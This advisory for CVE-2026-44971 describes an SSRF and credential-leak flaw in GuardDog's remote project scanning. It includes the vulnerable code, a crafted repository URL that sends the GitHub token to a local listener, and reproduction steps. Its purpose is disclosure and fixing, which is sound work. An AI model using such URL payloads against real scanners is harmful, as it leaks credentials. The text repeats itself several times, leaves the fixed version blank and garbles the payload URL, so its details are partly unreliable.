CVE-2026-44971

GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .

GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://[email protected]:18081/owner/repo

is transformed into:

http://[email protected]:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://[email protected]:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .

GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://[email protected]:18081/owner/repo

is transformed into:

http://[email protected]:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://[email protected]:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://[email protected]:18081/owner/repo

is transformed into:

http://[email protected]:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://[email protected]:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.